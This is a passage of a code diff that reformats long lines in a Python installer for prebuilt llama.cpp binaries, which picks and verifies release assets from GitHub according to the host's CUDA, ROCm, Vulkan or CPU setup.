-                    hint = "; set GH_TOKEN or GITHUB_TOKEN to avoid GitHub API rate limits"
+                    hint = (
+                        "; set GH_TOKEN or GITHUB_TOKEN to avoid GitHub API rate limits"
+                    )
                 raise RuntimeError(f"GitHub API returned 403 for {url}{hint}") from exc
             raise
         if not data:
@@ -1041,7 +1068,9 @@ def fetch_json(url: str) -> Any:
             try:
                 payload = json.loads(data.decode("utf-8"))
             except (UnicodeDecodeError, json.JSONDecodeError) as exc:
-                last_decode_exc = RuntimeError(f"downloaded invalid JSON from {url}: {exc}")
+                last_decode_exc = RuntimeError(
+                    f"downloaded invalid JSON from {url}: {exc}"
+                )
             else:
                 if not isinstance(payload, dict) and not isinstance(payload, list):
                     raise RuntimeError(
@@ -1075,7 +1104,9 @@ def download_file(url: str, destination: Path) -> None:
                     content_length = response.headers.get("Content-Length")
                     if content_length and content_length.isdigit():
                         total_bytes = int(content_length)
-                    progress = DownloadProgress(f"Downloading {destination.name}", total_bytes)
+                    progress = DownloadProgress(
+                        f"Downloading {destination.name}", total_bytes
+                    )
                     downloaded_bytes = 0
                     while True:
                         chunk = response.read(1024 * 1024)
@@ -1100,7 +1131,9 @@ def download_file(url: str, destination: Path) -> None:
                     pass
             if attempt >= HTTP_FETCH_ATTEMPTS or not is_retryable_url_error(exc):
                 raise
-            log(f"download failed ({attempt}/{HTTP_FETCH_ATTEMPTS}) for {url}: {exc}; retrying")
+            log(
+                f"download failed ({attempt}/{HTTP_FETCH_ATTEMPTS}) for {url}: {exc}; retrying"
+            )
             sleep_backoff(attempt, exc = exc)
     assert last_exc is not None
     raise last_exc
@@ -1112,7 +1145,9 @@ def download_file_verified(
     normalized_expected = normalize_sha256_digest(expected_sha256)
     if not normalized_expected:
         download_file(url, destination)
-        log(f"downloaded {label} without a published sha256; relying on install validation")
+        log(
+            f"downloaded {label} without a published sha256; relying on install validation"
+        )
         return
 
     for attempt in range(1, 3):
@@ -1210,7 +1245,9 @@ def latest_upstream_release_tag() -> str:
     payload = fetch_json(UPSTREAM_RELEASES_API)
     tag = payload.get("tag_name")
     if not isinstance(tag, str) or not tag:
-        raise RuntimeError(f"latest release tag was missing from {UPSTREAM_RELEASES_API}")
+        raise RuntimeError(
+            f"latest release tag was missing from {UPSTREAM_RELEASES_API}"
+        )
     return tag
 
 
@@ -1245,13 +1282,19 @@ def iter_release_payloads_by_time(
         yield github_release(repo, published_release_tag)
         return
 
-    if requested_tag and requested_tag != "latest" and is_release_tag_like(requested_tag):
+    if (
+        requested_tag
+        and requested_tag != "latest"
+        and is_release_tag_like(requested_tag)
+    ):
         try:
             yield github_release(repo, requested_tag)
             return
         except urllib.error.HTTPError as exc:
             if exc.code == 404:
-                log(f"release tag {requested_tag} not found in {repo}; scanning recent releases")
+                log(
+                    f"release tag {requested_tag} not found in {repo}; scanning recent releases"
+                )
             else:
                 raise
         except Exception:
@@ -1259,15 +1302,21 @@ def iter_release_payloads_by_time(
 
     releases = [
         release
-        for release in github_releases(repo, max_pages = DEFAULT_GITHUB_RELEASE_SCAN_MAX_PAGES)
-        if isinstance(release, dict) and not release.get("draft") and not release.get("prerelease")
+        for release in github_releases(
+            repo, max_pages = DEFAULT_GITHUB_RELEASE_SCAN_MAX_PAGES
+        )
+        if isinstance(release, dict)
+        and not release.get("draft")
+        and not release.get("prerelease")
     ]
     releases.sort(key = release_time_sort_key, reverse = True)
     for release in releases:
         yield release
 
 
-def direct_release_matches_request(*, release_tag: str, llama_tag: str, requested_tag: str) -> bool:
+def direct_release_matches_request(
+    *, release_tag: str, llama_tag: str, requested_tag: str
+) -> bool:
     if requested_tag == "latest":
         return True
     for candidate in (release_tag, llama_tag):
@@ -1406,7 +1455,12 @@ def direct_upstream_release_plan(
                     install_kind = "macos-x64",
                 )
             )
-    elif host.is_linux and host.is_x86_64 and not host.has_usable_nvidia and not host.has_rocm:
+    elif (
+        host.is_linux
+        and host.is_x86_64
+        and not host.has_usable_nvidia
+        and not host.has_rocm
+    ):
         # ROCm hosts are excluded: this ggml-org path ships no per-gfx ROCm
         # asset, so they fall through to the empty-attempts raise (HIP source
         # build) rather than silently getting a CPU binary on a GPU host.
@@ -1520,7 +1574,9 @@ def resolve_simple_install_release_plans(
             max_release_fallbacks = max_release_fallbacks,
         )
     requested_tag = normalized_requested_llama_tag(llama_tag)
-    allow_older_release_fallback = requested_tag == "latest" and not published_release_tag
+    allow_older_release_fallback = (
+        requested_tag == "latest" and not published_release_tag
+    )
     if allow_older_release_fallback:
         pinned_macos = pinned_macos_release_tag(host, repo)
         if pinned_macos is not None:
@@ -1531,7 +1587,9 @@ def resolve_simple_install_release_plans(
     last_error: PrebuiltFallback | None = None
 
     try:
-        releases = iter_release_payloads_by_time(repo, published_release_tag, requested_tag)
+        releases = iter_release_payloads_by_time(
+            repo, published_release_tag, requested_tag
+        )
         for release in releases:
             try:
                 plan = direct_upstream_release_plan(release, host, repo, requested_tag)
@@ -1554,13 +1612,17 @@ def resolve_simple_install_release_plans(
     except PrebuiltFallback:
         raise
     except Exception as exc:
-        raise PrebuiltFallback(f"failed to inspect published releases in {repo}: {exc}") from exc
+        raise PrebuiltFallback(
+            f"failed to inspect published releases in {repo}: {exc}"
+        ) from exc
 
     if plans:
         return requested_tag, plans
     if last_error is not None:
         raise last_error
-    raise PrebuiltFallback(f"no installable published llama.cpp releases were found in {repo}")
+    raise PrebuiltFallback(
+        f"no installable published llama.cpp releases were found in {repo}"
+    )
 
 
 def normalized_requested_llama_tag(requested_tag: str | None) -> str:
@@ -1612,7 +1674,9 @@ def parse_cuda_visible_devices(value: str | None) -> list[str] | None:
     return [token.strip() for token in raw.split(",") if token.strip()]
 
 
-def supports_explicit_visible_device_matching(visible_devices: list[str] | None) -> bool:
+def supports_explicit_visible_device_matching(
+    visible_devices: list[str] | None,
+) -> bool:
     if not visible_devices:
         return False
     for token in visible_devices:
@@ -1662,7 +1726,9 @@ def dir_provides_exact_library(directory: str | Path, library: str) -> bool:
     return candidate.exists() and (candidate.is_file() or candidate.is_symlink())
 
 
-def linux_runtime_dirs_for_required_libraries(required_libraries: Iterable[str]) -> list[str]:
+def linux_runtime_dirs_for_required_libraries(
+    required_libraries: Iterable[str],
+) -> list[str]:
     required = [library for library in required_libraries if library]
     candidates: list[str | Path] = []
 
@@ -1678,7 +1744,9 @@ def linux_runtime_dirs_for_required_libraries(required_libraries: Iterable[str])
         value = os.environ.get(name)
         if value:
             cuda_roots.append(Path(value))
-    cuda_roots.extend(Path(path) for path in glob_paths("/usr/local/cuda", "/usr/local/cuda-*"))
+    cuda_roots.extend(
+        Path(path) for path in glob_paths("/usr/local/cuda", "/usr/local/cuda-*")
+    )
 
     for root in cuda_roots:
         candidates.extend(
@@ -1703,7 +1771,8 @@ def linux_runtime_dirs_for_required_libraries(required_libraries: Iterable[str])
         )
     )
     candidates.extend(
-        Path(path) for path in glob_paths("/usr/local/lib/ollama/cuda_v*", "/usr/lib/wsl/lib")
+        Path(path)
+        for path in glob_paths("/usr/local/lib/ollama/cuda_v*", "/usr/lib/wsl/lib")
     )
     candidates.extend(Path(path) for path in python_runtime_dirs())
     candidates.extend(Path(path) for path in ldconfig_runtime_dirs(required))
@@ -1715,7 +1784,9 @@ def linux_runtime_dirs_for_required_libraries(required_libraries: Iterable[str])
     matched: list[tuple[int, str]] = []
     for directory in resolved:
         base = Path(directory)
-        provided = sum(1 for library in required if dir_provides_exact_library(directory, library))
+        provided = sum(
+            1 for library in required if dir_provides_exact_library(directory, library)
+        )
         if provided:
             matched.append((provided, directory))
 
@@ -1736,7 +1807,9 @@ def detected_linux_runtime_lines() -> tuple[list[str], dict[str, list[str]]]:
         matching_dirs: list[str] = []
         for library in required:
             matched_dirs = [
-                directory for directory in dirs if any(Path(directory).glob(f"{library}*"))
+                directory
+                for directory in dirs
+                if any(Path(directory).glob(f"{library}*"))
             ]
             if not matched_dirs:
                 library_matches = {}
@@ -1773,13 +1846,17 @@ def parse_published_artifact(raw: Any) -> PublishedLlamaArtifact | None:
     if not isinstance(asset_name, str) or not asset_name:
         raise ValueError("artifact.asset_name was missing or not a string")
     if not isinstance(install_kind, str) or not install_kind:
-        raise ValueError(f"artifact {asset_name} install_kind was missing or not a string")
+        raise ValueError(
+            f"artifact {asset_name} install_kind was missing or not a string"
+        )
 
     supported_sms_raw = raw.get("supported_sms", [])
     if not isinstance(supported_sms_raw, (list, tuple)):
         raise ValueError(f"artifact {asset_name} supported_sms must be a list or tuple")
     if any(not isinstance(value, (int, str)) for value in supported_sms_raw):
-        raise ValueError(f"artifact {asset_name} supported_sms entries must be ints or strings")
+        raise ValueError(
+            f"artifact {asset_name} supported_sms entries must be ints or strings"
+        )
     supported_sms = normalize_compute_caps(supported_sms_raw)
 
     min_sm_raw = raw.get("min_sm")
@@ -1788,7 +1865,9 @@ def parse_published_artifact(raw: Any) -> PublishedLlamaArtifact | None:
         min_sm = int(min_sm_raw) if min_sm_raw is not None else None
         max_sm = int(max_sm_raw) if max_sm_raw is not None else None
     except (TypeError, ValueError) as exc:
-        raise ValueError(f"artifact {asset_name} min_sm/max_sm were not integers") from exc
+        raise ValueError(
+            f"artifact {asset_name} min_sm/max_sm were not integers"
+        ) from exc
     runtime_line = raw.get("runtime_line")
     coverage_class = raw.get("coverage_class")
     bundle_profile = raw.get("bundle_profile")
@@ -1811,14 +1890,20 @@ def parse_published_artifact(raw: Any) -> PublishedLlamaArtifact | None:
     )
     mapped_raw = raw.get("mapped_targets", [])
     mapped_targets = (
-        [value.strip() for value in mapped_raw if isinstance(value, str) and value.strip()]
+        [
+            value.strip()
+            for value in mapped_raw
+            if isinstance(value, str) and value.strip()
+        ]
         if isinstance(mapped_raw, (list, tuple))
         else []
     )
     return PublishedLlamaArtifact(
         asset_name = asset_name,
         install_kind = install_kind,
-        runtime_line = runtime_line if isinstance(runtime_line, str) and runtime_line else None,
+        runtime_line = runtime_line
+        if isinstance(runtime_line, str) and runtime_line
+        else None,
         coverage_class = coverage_class
         if isinstance(coverage_class, str) and coverage_class
         else None,
@@ -1895,7 +1980,9 @@ def parse_published_release_bundle(
         try:
             artifact = parse_published_artifact(raw_artifact)
         except ValueError as exc:
-            log(f"published artifact ignored for {repo}@{release_tag} artifact[{index}]: {exc}")
+            log(
+                f"published artifact ignored for {repo}@{release_tag} artifact[{index}]: {exc}"
+            )
             continue
         if artifact is not None:
             artifacts.append(artifact)
@@ -1914,7 +2001,9 @@ def parse_published_release_bundle(
         release_tag = release_tag,
         upstream_tag = upstream_tag,
         manifest_sha256 = manifest_sha256,
-        source_repo = source_repo if isinstance(source_repo, str) and source_repo else None,
+        source_repo = source_repo
+        if isinstance(source_repo, str) and source_repo
+        else None,
         source_repo_url = source_repo_url
         if isinstance(source_repo_url, str) and source_repo_url
         else None,
@@ -1975,12 +2064,18 @@ def parse_approved_release_checksums(
     artifacts: dict[str, ApprovedArtifactHash] = {}
     for asset_name, raw_entry in artifacts_payload.items():
         if not isinstance(asset_name, str) or not asset_name:
-            raise RuntimeError("published checksum asset used a non-string artifact key")
+            raise RuntimeError(
+                "published checksum asset used a non-string artifact key"
+            )
         if not isinstance(raw_entry, dict):
-            raise RuntimeError(f"published checksum entry for {asset_name} was not an object")
+            raise RuntimeError(
+                f"published checksum entry for {asset_name} was not an object"
+            )
         digest = normalize_sha256_digest(raw_entry.get("sha256"))
         if not digest:
-            raise RuntimeError(f"published checksum entry for {asset_name} omitted a valid sha256")
+            raise RuntimeError(
+                f"published checksum entry for {asset_name} omitted a valid sha256"
+            )
         repo_value = raw_entry.get("repo")
         kind_value = raw_entry.get("kind")
         artifacts[asset_name] = ApprovedArtifactHash(
@@ -2001,7 +2096,9 @@ def parse_approved_release_checksums(
         repo = repo,
         release_tag = release_tag,
         upstream_tag = upstream_tag,
-        source_repo = source_repo if isinstance(source_repo, str) and source_repo else None,
+        source_repo = source_repo
+        if isinstance(source_repo, str) and source_repo
+        else None,
         source_repo_url = source_repo_url
         if isinstance(source_repo_url, str) and source_repo_url
         else None,
@@ -2020,7 +2117,9 @@ def parse_approved_release_checksums(
     )
 
 
-def load_approved_release_checksums(repo: str, release_tag: str) -> ApprovedReleaseChecksums:
+def load_approved_release_checksums(
+    repo: str, release_tag: str
+) -> ApprovedReleaseChecksums:
     try:
         release = github_release(repo, release_tag)
     except Exception as exc:
@@ -2054,7 +2153,9 @@ def iter_published_release_bundles(
         else github_releases(repo, max_pages = DEFAULT_GITHUB_RELEASE_SCAN_MAX_PAGES)
     )
     for release in releases:
-        if not published_release_tag and (release.get("draft") or release.get("prerelease")):
+        if not published_release_tag and (
+            release.get("draft") or release.get("prerelease")
+        ):
             continue
         try:
             bundle = parse_published_release_bundle(repo, release)
@@ -2067,13 +2168,18 @@ def iter_published_release_bundles(
         yield bundle
 
 
-def _artifact_covers_sms(artifact: PublishedLlamaArtifact, host_sms: Iterable[str]) -> bool:
+def _artifact_covers_sms(
+    artifact: PublishedLlamaArtifact, host_sms: Iterable[str]
+) -> bool:
     """True when every host SM is listed in the artifact's supported_sms and
     falls within its [min_sm, max_sm] range."""
     if not artifact.supported_sms or artifact.min_sm is None or artifact.max_sm is None:
         return False
     supported = {str(value) for value in artifact.supported_sms}
-    return all(sm in supported and artifact.min_sm <= int(sm) <= artifact.max_sm for sm in host_sms)
+    return all(
+        sm in supported and artifact.min_sm <= int(sm) <= artifact.max_sm
+        for sm in host_sms
+    )
 
 
 def _sm_range(artifact: PublishedLlamaArtifact) -> int:
@@ -2100,11 +2206,16 @@ def _blackwell_capable_linux_runtime_lines(
         # than crashing the major sort.
         if not (line and line.startswith("cuda") and line[len("cuda") :].isdigit()):
             continue
-        if not artifact.supported_sms or artifact.min_sm is None or artifact.max_sm is None:
+        if (
+            not artifact.supported_sms
+            or artifact.min_sm is None
+            or artifact.max_sm is None
+        ):
             continue
         supported = {str(value) for value in artifact.supported_sms}
         if all(
-            sm in supported and artifact.min_sm <= int(sm) <= artifact.max_sm for sm in host_sms
+            sm in supported and artifact.min_sm <= int(sm) <= artifact.max_sm
+            for sm in host_sms
         ):
             lines.add(line)
     return sorted(lines, key = lambda line: int(line[len("cuda") :]), reverse = True)
@@ -2154,9 +2265,13 @@ def linux_cuda_choice_from_release(
     # below is arch-agnostic and applies to both.
     cuda_install_kind = "linux-arm64-cuda" if host.is_arm64 else "linux-cuda"
     published_artifacts = [
-        artifact for artifact in release.artifacts if artifact.install_kind == cuda_install_kind
+        artifact
+        for artifact in release.artifacts
+        if artifact.install_kind == cuda_install_kind
     ]
-    published_asset_names = sorted(artifact.asset_name for artifact in published_artifacts)
+    published_asset_names = sorted(
+        artifact.asset_name for artifact in published_artifacts
+    )
     selection_log.append(
         "linux_cuda_selection: published_assets="
         + (",".join(published_asset_names) if published_asset_names else "none")
@@ -2175,7 +2290,9 @@ def linux_cuda_choice_from_release(
     blackwell_lines = (
         [
             line
-            for line in _blackwell_capable_linux_runtime_lines(host_sms, published_artifacts)
+            for line in _blackwell_capable_linux_runtime_lines(
+                host_sms, published_artifacts
+            )
             if line in ordered_runtime_lines
         ]
         if _host_is_blackwell(host)
@@ -2190,7 +2307,11 @@ def linux_cuda_choice_from_release(
         selection_log.append(
             "linux_cuda_selection: blackwell_runtime_override prefer="
             + ",".join(blackwell_lines)
-            + (f" over torch_preferred={preferred_runtime_line}" if preferred_runtime_line else "")
+            + (
+                f" over torch_preferred={preferred_runtime_line}"
+                if preferred_runtime_line
+                else ""
+            )
         )
     elif preferred_runtime_line:
         if preferred_runtime_line in ordered_runtime_lines:
@@ -2212,7 +2333,9 @@ def linux_cuda_choice_from_release(
     attempts: list[AssetChoice] = []
     seen_attempts: set[str] = set()
 
-    def add_attempt(artifact: PublishedLlamaArtifact, asset_url: str, reason: str) -> None:
+    def add_attempt(
+        artifact: PublishedLlamaArtifact, asset_url: str, reason: str
+    ) -> None:
         asset_name = artifact.asset_name
         if asset_name in seen_attempts:
             return
@@ -2249,7 +2372,9 @@ def linux_cuda_choice_from_release(
             asset_name = artifact.asset_name
             asset_url = release.assets.get(asset_name)
             if not asset_url:
-                selection_log.append(f"linux_cuda_selection: reject {asset_name} missing asset")
+                selection_log.append(
+                    f"linux_cuda_selection: reject {asset_name} missing asset"
+                )
                 continue
             if not host_sms and artifact.coverage_class != "portable":
                 selection_log.append(
@@ -2277,7 +2402,9 @@ def linux_cuda_choice_from_release(
             supported_sms = {str(value) for value in artifact.supported_sms}
             missing_sms = [sm for sm in host_sms if sm not in supported_sms]
             out_of_range_sms = [
-                sm for sm in host_sms if not (artifact.min_sm <= int(sm) <= artifact.max_sm)
+                sm
+                for sm in host_sms
+                if not (artifact.min_sm <= int(sm) <= artifact.max_sm)
             ]
             reasons: list[str] = []
             if missing_sms:
@@ -2321,7 +2448,8 @@ def linux_cuda_choice_from_release(
         return None
 
     selection_log.append(
-        "linux_cuda_selection: attempt_order=" + ",".join(choice.name for choice in attempts)
+        "linux_cuda_selection: attempt_order="
+        + ",".join(choice.name for choice in attempts)
     )
     for attempt in attempts:
         attempt.selection_log = list(selection_log) + [
@@ -2339,7 +2467,9 @@ def latest_published_linux_cuda_tag(host: HostInfo, published_repo: str) -> str
 
 
 def iter_upstream_releases() -> Iterable[dict[str, Any]]:
-    for release in github_releases(UPSTREAM_REPO, max_pages = DEFAULT_GITHUB_RELEASE_SCAN_MAX_PAGES):
+    for release in github_releases(
+        UPSTREAM_REPO, max_pages = DEFAULT_GITHUB_RELEASE_SCAN_MAX_PAGES
+    ):
         if release.get("draft") or release.get("prerelease"):
             continue
         yield release
@@ -2453,7 +2583,9 @@ def _download_host_resolved_release(repo: str) -> ResolvedPublishedRelease | Non
     release_tag = _download_host_latest_release_tag(repo)
     if not release_tag:
         return None
-    sha_url = _release_asset_download_url(repo, release_tag, DEFAULT_PUBLISHED_SHA256_ASSET)
+    sha_url = _release_asset_download_url(
+        repo, release_tag, DEFAULT_PUBLISHED_SHA256_ASSET
+    )
     try:
         sha_payload = _fetch_download_host_json(sha_url)
     except urllib.error.HTTPError as exc:
@@ -2478,7 +2610,9 @@ def _download_host_resolved_release(repo: str) -> ResolvedPublishedRelease | Non
         "assets": [
             {
                 "name": name,
-                "browser_download_url": _release_asset_download_url(repo, release_tag, name),
+                "browser_download_url": _release_asset_download_url(
+                    repo, release_tag, name
+                ),
             }
             for name in sorted(asset_names)
         ],
@@ -2505,7 +2639,9 @@ def _download_host_resolved_release(repo: str) -> ResolvedPublishedRelease | Non
     return ResolvedPublishedRelease(bundle = bundle, checksums = checksums)
 
 
-def published_release_matches_request(bundle: PublishedReleaseBundle, requested_ref: str) -> bool:
+def published_release_matches_request(
+    bundle: PublishedReleaseBundle, requested_ref: str
+) -> bool:
     if requested_ref == "latest":
         return True
     for candidate in (
@@ -2560,7 +2696,9 @@ def resolve_published_release(
             raise PrebuiltFallback(
                 f"no usable published llama.cpp releases were available in {repo}"
             )
-        raise PrebuiltFallback(f"no published llama.cpp releases were available in {repo}")
+        raise PrebuiltFallback(
+            f"no published llama.cpp releases were available in {repo}"
+        )
 
     raise PrebuiltFallback(
         f"no published prebuilt release in {repo} matched upstream tag {normalized_requested}"
@@ -2605,10 +2743,14 @@ def iter_resolved_published_releases(
         try:
             resolved = _download_host_resolved_release(repo)
         except PrebuiltFallback as exc:
-            log(f"download-host latest release rejected for {repo} ({exc}); trying GitHub API")
+            log(
+                f"download-host latest release rejected for {repo} ({exc}); trying GitHub API"
+            )
             resolved = None
         except Exception as exc:
-            log(f"download-host latest resolve unavailable for {repo} ({exc}); trying GitHub API")
+            log(
+                f"download-host latest resolve unavailable for {repo} ({exc}); trying GitHub API"
+            )
             resolved = None
         if resolved is not None:
             yield resolved
@@ -2644,7 +2786,9 @@ def iter_resolved_published_releases(
         return
 
     if normalized_requested == "latest":
-        raise PrebuiltFallback(f"no published llama.cpp releases were available in {repo}")
+        raise PrebuiltFallback(
+            f"no published llama.cpp releases were available in {repo}"
+        )
 
     raise PrebuiltFallback(
         f"no published prebuilt release in {repo} matched upstream tag {normalized_requested}"
@@ -2702,10 +2846,14 @@ def resolve_requested_install_tag(
     ).bundle.upstream_tag
 
 
-def exact_source_archive_hash(checksums: ApprovedReleaseChecksums) -> ApprovedArtifactHash | None:
+def exact_source_archive_hash(
+    checksums: ApprovedReleaseChecksums,
+) -> ApprovedArtifactHash | None:
     if not checksums.source_commit:
         return None
-    return checksums.artifacts.get(exact_source_archive_logical_name(checksums.source_commit))
+    return checksums.artifacts.get(
+        exact_source_archive_logical_name(checksums.source_commit)
+    )
 
 
 def source_clone_url_for_release(
@@ -2725,8 +2873,12 @@ def source_build_plan_for_release(release: ResolvedPublishedRelease) -> SourceBu
     exact_source = exact_source_archive_hash(checksums)
     source_repo = checksums.source_repo or release.bundle.source_repo
     source_repo_url = checksums.source_repo_url or release.bundle.source_repo_url
-    requested_source_ref = checksums.requested_source_ref or release.bundle.requested_source_ref
-    resolved_source_ref = checksums.resolved_source_ref or release.bundle.resolved_source_ref
+    requested_source_ref = (
+        checksums.requested_source_ref or release.bundle.requested_source_ref
+    )
+    resolved_source_ref = (
+        checksums.resolved_source_ref or release.bundle.resolved_source_ref
+    )
     source_commit = checksums.source_commit or release.bundle.source_commit
     source_ref_kind = checksums.source_ref_kind or release.bundle.source_ref_kind
     source_url = source_clone_url_for_release(checksums, release.bundle)
@@ -2742,8 +2894,14 @@ def source_build_plan_for_release(release: ResolvedPublishedRelease) -> SourceBu
             resolved_source_ref = resolved_source_ref,
             source_commit = source_commit,
         )
-    source_ref = checkout_friendly_ref(source_ref_kind, resolved_source_ref or requested_source_ref)
-    if source_url and source_ref and source_ref_kind in {"tag", "branch", "pull", "commit"}:
+    source_ref = checkout_friendly_ref(
+        source_ref_kind, resolved_source_ref or requested_source_ref
+    )
+    if (
+        source_url
+        and source_ref
+        and source_ref_kind in {"tag", "branch", "pull", "commit"}
+    ):
         return SourceBuildPlan(
             source_url = source_url,
             source_ref = source_ref,
@@ -2940,7 +3098,9 @@ def windows_intel_gpu_in_registry() -> bool:
     except ImportError:
         return False
     try:
-        with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, _WINDOWS_DISPLAY_CLASS_KEY) as class_key:
+        with winreg.OpenKey(
+            winreg.HKEY_LOCAL_MACHINE, _WINDOWS_DISPLAY_CLASS_KEY
+        ) as class_key:
             for index in range(winreg.QueryInfoKey(class_key)[0]):
                 try:
                     name = winreg.EnumKey(class_key, index)
@@ -2994,7 +3154,9 @@ def detect_host() -> HostInfo:
         # ROCm host as NVIDIA and short-circuit the ROCm path.
         try:
             listing = run_capture([nvidia_smi, "-L"], timeout = 20)
-            gpu_lines = [line for line in listing.stdout.splitlines() if line.startswith("GPU ")]
+            gpu_lines = [
+                line for line in listing.stdout.splitlines() if line.startswith("GPU ")
+            ]
             if gpu_lines:
                 has_physical_nvidia = True
                 has_usable_nvidia = visible_device_tokens != []
@@ -3152,7 +3314,9 @@ def detect_host() -> HostInfo:
             # AMD torch wheels ship hipInfo.exe into the venv Scripts dir
             # (next to python.exe) -- resolvable on driver-only hosts where no
             # SDK dir exists, so a standalone rerun can still detect the GPU.
-            _venv_candidate = os.path.join(os.path.dirname(sys.executable), f"{name}.exe")
+            _venv_candidate = os.path.join(
+                os.path.dirname(sys.executable), f"{name}.exe"
+            )
             if os.path.isfile(_venv_candidate):
                 return _venv_candidate
             return None
@@ -3214,7 +3378,10 @@ def detect_host() -> HostInfo:
                             ],
                             timeout = 15,
                         )
-                        if _result.returncode == 0 and "intel" in _result.stdout.lower():
+                        if (
+                            _result.returncode == 0
+                            and "intel" in _result.stdout.lower()
+                        ):
                             has_intel_gpu = True
                     except Exception:
                         pass
@@ -3378,7 +3545,9 @@ def detect_torch_cuda_runtime_preference(host: HostInfo) -> CudaRuntimePreferenc
     try:
         cuda_available = bool(torch.cuda.is_available())
     except Exception as exc:
-        selection_log.append(f"torch_cuda_preference: torch.cuda.is_available() failed: {exc}")
+        selection_log.append(
+            f"torch_cuda_preference: torch.cuda.is_available() failed: {exc}"
+        )
         return CudaRuntimePreference(runtime_line = None, selection_log = selection_log)
 
     if not cuda_available:
@@ -3466,10 +3635,14 @@ def windows_cuda_attempts(
             f"{preferred_runtime_line} unavailable_or_incompatible"
         )
     else:
-        selection_log.append("windows_cuda_selection: no Torch runtime preference available")
+        selection_log.append(
+            "windows_cuda_selection: no Torch runtime preference available"
+        )
 
     runtime_order.extend(
-        runtime_line for runtime_line in normal_runtime_lines if runtime_line not in runtime_order
+        runtime_line
+        for runtime_line in normal_runtime_lines
+        if runtime_line not in runtime_order
     )
     # Keep every driver-compatible line reachable as a fallback, so a line gated
     # out by the driver version still drops to an older major (cuda13 -> cuda12).
@@ -3493,7 +3666,9 @@ def windows_cuda_attempts(
         # Track whatever minor llama.cpp actually ships for this major
         # (cuda13 -> 13.1, 13.3, ...). Skip the line when the release has no
         # matching asset instead of guessing a now-missing name.
-        runtime = _published_windows_cuda_runtime(upstream_assets, major, host.driver_cuda_version)
+        runtime = _published_windows_cuda_runtime(
+            upstream_assets, major, host.driver_cuda_version
+        )
         if runtime is None:
             selection_log.append(
                 f"windows_cuda_selection: no driver-supported asset for {runtime_line}"
@@ -3609,7 +3784,9 @@ def published_windows_cuda_attempts(
 ) -> list[AssetChoice]:
     selection_log = list(release.selection_log) + list(selection_preamble)
     published_artifacts = [
-        artifact for artifact in release.artifacts if artifact.install_kind == "windows-cuda"
+        artifact
+        for artifact in release.artifacts
+        if artifact.install_kind == "windows-cuda"
     ]
     artifacts_by_runtime: dict[str, list[PublishedLlamaArtifact]] = {}
     for artifact in published_artifacts:
@@ -3653,7 +3830,9 @@ def published_windows_cuda_attempts(
         # the driver major is the real constraint. Mirrors the legacy
         # windows_cuda_attempts fallback; without it a torch-only host gets no
         # fork attempt and silently drops to the upstream build.
-        ordered_lines = [line for line in compatible if line in detected] or list(compatible)
+        ordered_lines = [line for line in compatible if line in detected] or list(
+            compatible
+        )
         if preferred_runtime_line and preferred_runtime_line in ordered_lines:
             ordered_lines = [preferred_runtime_line] + [
                 line for line in ordered_lines if line != preferred_runtime_line
@@ -3698,7 +3877,11 @@ def published_windows_cuda_attempts(
                 and artifact.min_sm is not None
                 and artifact.max_sm is not None
             )
-            if host_sms and has_sm_info and not _artifact_covers_sms(artifact, host_sms):
+            if (
+                host_sms
+                and has_sm_info
+                and not _artifact_covers_sms(artifact, host_sms)
+            ):
                 continue
             if not host_sms and has_sm_info and artifact.coverage_class != "portable":
                 continue
@@ -3794,7 +3977,11 @@ def published_asset_choice_for_kind(
     release: PublishedReleaseBundle, install_kind: str
 ) -> AssetChoice | None:
     candidates = sorted(
-        (artifact for artifact in release.artifacts if artifact.install_kind == install_kind),
+        (
+            artifact
+            for artifact in release.artifacts
+            if artifact.install_kind == install_kind
+        ),
         key = lambda artifact: (artifact.rank, artifact.asset_name),
     )
     for artifact in candidates:
@@ -3810,7 +3997,9 @@ def published_asset_choice_for_kind(
             install_kind = install_kind,
             runtime_line = artifact.runtime_line,
             selection_log = list(release.selection_log)
-            + [f"published_selection: selected {artifact.asset_name} install_kind={install_kind}"],
+            + [
+                f"published_selection: selected {artifact.asset_name} install_kind={install_kind}"
+            ],
         )
     return None
 
@@ -3863,7 +4052,11 @@ def _detect_host_rocm_version() -> tuple[int, int] | None:
             if result.returncode == 0:
                 raw = (result.stdout or "").strip().split("\n")[0]
                 parts = raw.split(".")
-                if len(parts) >= 2 and parts[0].isdigit() and parts[1].split("-")[0].isdigit():
+                if (
+                    len(parts) >= 2
+                    and parts[0].isdigit()
+                    and parts[1].split("-")[0].isdigit()
+                ):
                     return int(parts[0]), int(parts[1].split("-")[0])
         except Exception:
             pass
@@ -3977,7 +4170,9 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
             _compatible: list[tuple[tuple[int, ...], str]] = rocm_candidates
             if _host_rocm_version is not None:
                 _compatible = [
-                    item for item in rocm_candidates if item[0][:2] <= _host_rocm_version
+                    item
+                    for item in rocm_candidates
+                    if item[0][:2] <= _host_rocm_version
                 ]
             if rocm_candidates and not _compatible:
                 # Fall back to the newest candidate so a source build is
@@ -4018,7 +4213,9 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
         if host.has_intel_gpu and not host.has_physical_nvidia and not host.has_rocm:
             vulkan_name = f"llama-{llama_tag}-bin-ubuntu-vulkan-x64.tar.gz"
             if vulkan_name in upstream_assets:
-                log(f"Intel GPU detected -- using upstream Vulkan prebuilt {vulkan_name}")
+                log(
+                    f"Intel GPU detected -- using upstream Vulkan prebuilt {vulkan_name}"
+                )
                 return AssetChoice(
                     repo = UPSTREAM_REPO,
                     tag = llama_tag,
@@ -4027,7 +4224,9 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
                     source_label = "upstream",
                     install_kind = "linux-vulkan",
                 )
-            log("Intel GPU detected but no Vulkan prebuilt found -- falling back to CPU")
+            log(
+                "Intel GPU detected but no Vulkan prebuilt found -- falling back to CPU"
+            )
 
         upstream_name = f"llama-{llama_tag}-bin-ubuntu-x64.tar.gz"
         if upstream_name not in upstream_assets:
@@ -4060,7 +4259,9 @@ def resolve_upstream_asset_choice(host: HostInfo, llama_tag: str) -> AssetChoice
         if host.has_rocm:
             hip_name = f"llama-{llama_tag}-bin-win-hip-radeon-x64.zip"
             if hip_name in upstream_assets:
-                log(f"AMD ROCm detected on Windows -- trying upstream HIP prebuilt {hip_name}")
+                log(
+                    f"AMD ROCm detected on Windows -- trying upstream HIP prebuilt {hip_name}"
+                )
                 return AssetChoice(
                     repo = UPSTREAM_REPO,
                     tag = llama_tag,
